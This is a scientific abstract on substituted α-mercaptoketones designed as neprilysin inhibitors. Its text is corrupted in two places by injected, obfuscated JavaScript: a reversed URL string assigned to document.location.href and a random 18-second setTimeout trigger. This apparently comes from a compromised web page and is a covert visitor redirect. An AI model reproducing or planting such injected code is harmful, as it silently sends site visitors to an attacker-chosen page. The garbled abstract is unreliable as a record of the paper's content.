Substituted α-mercaptoketones, new types of specific neprilysin inhibitors

Substituted α-mercaptoketones, new types of specific neprilysin inhibitors

Abstract

New neprilysin inhibitors containing an α-mercaptoketone HSC(R1R2)CO group, as zinc ligand were designed. Two parameters were explored for potency optimization: the size of the inhibitor which could interact with the S1, S1′ or S2toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domain of the enzyme and the nature of the substituents R1, R2 of the mercaptoketone group. Introduction of a cyclohexyl chain in R1, R2 position and a (3-thiophen)benzyl group in position R3 (compound 12n) yielded to the most potent inhibitor of this series with a Ki value of 2 ± 0.3 nM. This result suggests that this new inhibitor interacts within the S1, S1toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domain of NEP allowing a pentacoordination of the catalytic Zn2+ ion by the mercaptoketone moiety.

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